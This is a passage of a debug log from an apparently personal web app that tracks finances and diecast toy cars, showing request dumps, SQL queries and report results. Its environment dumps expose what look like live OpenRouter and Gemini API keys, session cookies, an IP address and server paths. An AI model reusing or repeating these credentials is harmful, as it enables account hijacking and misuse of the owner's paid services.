    priority: 'u=1, i',
    cookie: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T06:14:38.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T10:44:39.623Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2025-12-20T10:44:39.624Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2025-12-20T10:44:39.624Z server-connect:app Executing action step identify
2025-12-20T10:44:39.624Z server-connect:app options: { provider: 'security' }
2025-12-20T10:44:39.624Z server-connect:output identity: 1
2025-12-20T10:44:39.624Z server-connect:app Executing action step restrict
2025-12-20T10:44:39.624Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:44:39.625Z server-connect:output restrict: undefined
2025-12-20T10:44:39.625Z server-connect:app Executing action step select
2025-12-20T10:44:39.625Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2025-12-20T10:44:39.625Z server-connect:app Executing action step identify
2025-12-20T10:44:39.626Z server-connect:app options: { provider: 'security' }
2025-12-20T10:44:39.626Z server-connect:output identity: 1
2025-12-20T10:44:39.626Z server-connect:app Executing action step restrict
2025-12-20T10:44:39.626Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:44:39.626Z server-connect:output restrict: undefined
2025-12-20T10:44:39.626Z server-connect:app Executing action step paged
2025-12-20T10:44:39.626Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-20T10:44:39.627Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2025-12-20T10:44:39.628Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 172,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2025-12-20T10:44:46.492Z server-connect:router Serving templateView /diecast-reports
2025-12-20T10:44:46.492Z server-connect:app Executing action step identify
2025-12-20T10:44:46.492Z server-connect:app options: { provider: 'security' }
2025-12-20T10:44:46.493Z server-connect:output identity: 1
2025-12-20T10:44:46.493Z server-connect:app Executing action step restrict
2025-12-20T10:44:46.493Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T10:44:46.493Z server-connect:output restrict: undefined
2025-12-20T10:44:46.493Z server-connect:router Render template diecast-reports
2025-12-20T10:44:46.494Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T06:14:38.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T10:44:46.815Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2025-12-20T10:44:46.815Z server-connect:app Executing action step identify
2025-12-20T10:44:46.815Z server-connect:app options: { provider: 'security' }
2025-12-20T10:44:46.816Z server-connect:output identity: 1
2025-12-20T10:44:46.816Z server-connect:app Executing action step restrict
2025-12-20T10:44:46.816Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:44:46.816Z server-connect:output restrict: undefined
2025-12-20T10:44:46.816Z server-connect:app Executing action step custom
2025-12-20T10:44:46.816Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2025-12-20T10:44:46.818Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 101, name: 'HW Then and now', total: 4 },
  { series: 107, name: 'HW EV', total: 4 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 92, name: 'Fantasy', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 150, name: 'HW Reverse Rake', total: 2 },
  { series: 149, name: 'HW Compact Kings', total: 2 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 163, name: 'HW Starting Grid', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 151, name: 'HW Rod Squad', total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 }
]
2025-12-20T10:44:56.809Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2025-12-20T10:44:56.810Z server-connect:app Executing action step identify
2025-12-20T10:44:56.810Z server-connect:app options: { provider: 'security' }
2025-12-20T10:44:56.810Z server-connect:output identity: 1
2025-12-20T10:44:56.810Z server-connect:app Executing action step restrict
2025-12-20T10:44:56.810Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:44:56.810Z server-connect:output restrict: undefined
2025-12-20T10:44:56.810Z server-connect:app Executing action step custom
2025-12-20T10:44:56.810Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2025-12-20T10:44:56.811Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 68 },
  { brand_id: 72, name: 'Majorette', total: 23 },
  { brand_id: 73, name: 'Matchbox', total: 20 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 }
]
2025-12-20T10:45:09.970Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2025-12-20T10:45:09.970Z server-connect:app Executing action step identify
2025-12-20T10:45:09.970Z server-connect:app options: { provider: 'security' }
2025-12-20T10:45:09.970Z server-connect:output identity: 1
2025-12-20T10:45:09.970Z server-connect:app Executing action step restrict
2025-12-20T10:45:09.970Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:45:09.971Z server-connect:output restrict: undefined
2025-12-20T10:45:09.971Z server-connect:app Executing action step custom
2025-12-20T10:45:09.971Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2025-12-20T10:45:09.972Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 101, name: 'HW Then and now', total: 4 },
  { series: 107, name: 'HW EV', total: 4 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 92, name: 'Fantasy', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 150, name: 'HW Reverse Rake', total: 2 },
  { series: 149, name: 'HW Compact Kings', total: 2 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 163, name: 'HW Starting Grid', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 151, name: 'HW Rod Squad', total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 }
]
2025-12-20T10:48:24.246Z server-connect:app Executing action step identify
2025-12-20T10:48:24.246Z server-connect:app options: { provider: 'security' }
2025-12-20T10:48:24.246Z server-connect:output identity: 1
2025-12-20T10:48:26.756Z server-connect:app Executing action step identify
2025-12-20T10:48:26.756Z server-connect:app options: { provider: 'security' }
2025-12-20T10:48:26.756Z server-connect:output identity: 1
2025-12-20T11:00:25.804Z server-connect:app Executing action step identify
2025-12-20T11:00:25.804Z server-connect:app options: { provider: 'security' }
2025-12-20T11:00:25.804Z server-connect:output identity: 1
2025-12-20T11:00:34.984Z server-connect:app Executing action step identify
2025-12-20T11:00:34.984Z server-connect:app options: { provider: 'security' }
2025-12-20T11:00:34.984Z server-connect:output identity: 1
2025-12-20T11:10:16.233Z server-connect:app Executing action step identify
2025-12-20T11:10:16.233Z server-connect:app options: { provider: 'security' }
2025-12-20T11:10:16.233Z server-connect:output identity: 1
2025-12-20T11:10:19.668Z server-connect:app Executing action step identify
2025-12-20T11:10:19.668Z server-connect:app options: { provider: 'security' }
2025-12-20T11:10:19.668Z server-connect:output identity: 1
2025-12-20T11:15:54.236Z server-connect:app Executing action step identify
2025-12-20T11:15:54.236Z server-connect:app options: { provider: 'security' }
2025-12-20T11:15:54.236Z server-connect:output identity: 1
2025-12-20T11:16:02.301Z server-connect:app Executing action step identify
2025-12-20T11:16:02.301Z server-connect:app options: { provider: 'security' }
2025-12-20T11:16:02.301Z server-connect:output identity: 1
2025-12-20T11:25:21.238Z server-connect:app Executing action step identify
2025-12-20T11:25:21.238Z server-connect:app options: { provider: 'security' }
2025-12-20T11:25:21.238Z server-connect:output identity: 1
2025-12-20T11:25:24.820Z server-connect:app Executing action step identify
2025-12-20T11:25:24.820Z server-connect:app options: { provider: 'security' }
2025-12-20T11:25:24.820Z server-connect:output identity: 1
2025-12-20T11:28:51.610Z server-connect:app Executing action step identify
2025-12-20T11:28:51.610Z server-connect:app options: { provider: 'security' }
2025-12-20T11:28:51.611Z server-connect:output identity: 1
2025-12-20T11:28:54.026Z server-connect:app Executing action step identify
2025-12-20T11:28:54.026Z server-connect:app options: { provider: 'security' }
2025-12-20T11:28:54.026Z server-connect:output identity: 1
2025-12-20T11:38:20.230Z server-connect:app Executing action step identify
2025-12-20T11:38:20.230Z server-connect:app options: { provider: 'security' }
2025-12-20T11:38:20.230Z server-connect:output identity: 1
2025-12-20T11:38:26.367Z server-connect:app Executing action step identify
2025-12-20T11:38:26.367Z server-connect:app options: { provider: 'security' }
2025-12-20T11:38:26.368Z server-connect:output identity: 1
2025-12-20T12:04:34.239Z server-connect:app Executing action step identify
2025-12-20T12:04:34.239Z server-connect:app options: { provider: 'security' }
2025-12-20T12:04:34.239Z server-connect:output identity: 1
2025-12-20T12:04:37.836Z server-connect:app Executing action step identify
2025-12-20T12:04:37.836Z server-connect:app options: { provider: 'security' }
2025-12-20T12:04:37.837Z server-connect:output identity: 1
2025-12-20T12:09:59.897Z server-connect:router Serving templateView /diecast-reports
2025-12-20T12:09:59.898Z server-connect:app Executing action step identify
2025-12-20T12:09:59.898Z server-connect:app options: { provider: 'security' }
2025-12-20T12:09:59.898Z server-connect:output identity: 1
2025-12-20T12:09:59.898Z server-connect:app Executing action step restrict
2025-12-20T12:09:59.898Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T12:09:59.900Z server-connect:output restrict: undefined
2025-12-20T12:09:59.900Z server-connect:router Render template layouts/main
2025-12-20T12:09:59.900Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
